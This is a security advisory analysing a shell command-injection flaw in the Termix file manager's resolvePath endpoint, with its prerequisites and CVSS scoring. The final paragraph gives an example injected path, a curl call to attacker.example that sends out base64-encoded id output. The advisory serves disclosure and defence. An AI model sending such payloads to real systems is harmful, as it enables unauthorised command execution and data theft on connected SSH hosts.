Termix EUVD-2026-34878

An attacker needs a valid Termix account with permission to use the File Manager component and an already-established SSH session to a target host (PR:L plus UI:R in the CVSS vector reflect this prerequisite). Termix must be running a vulnerable version below 2.3.2 with the file manager feature enabled, and the attacker must be able to reach the /ssh/file_manager/ssh/resolvePath endpoint over the network. Exploitation is limited by these factors: it is not anonymous, it requires the targeted SSH connection to be active during the attack, and the resulting command runs as the SSH user configured in Termix rather than necessarily as root.

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H produces a 9.0 score driven primarily by the changed scope: the vulnerable Termix web component executes the injected command on a different security authority (the remote SSH host), so a compromise of one Termix tenant can pivot into every connected server. Exploitation requires low-privilege authentication to Termix (PR:L) and some user interaction (UI:R), which moderates the practical threat compared to a fully unauthenticated RCE. There is no EPSS score, no CISA KEV listing, and no public proof-of-concept indicated in the provided data, so risk today appears bounded to environments where untrusted or low-trust users hold Termix accounts; however, the trivial nature of $(...) injection means exploit code is straightforward to derive from the advisory text once attention is drawn to it.

A low-privilege Termix user with access to the File Manager component crafts a request to GET /ssh/file_manager/ssh/resolvePath where the path parameter contains a $(...) substitution such as $(curl attacker.example/$(id|base64)). When Termix opens the active SSH session and embeds the value inside the double-quoted shell command, the remote shell evaluates the substitution and executes the attacker's command on the managed host. The attacker thereby pivots from a Termix account into arbitrary command execution on every SSH host the victim session has access to.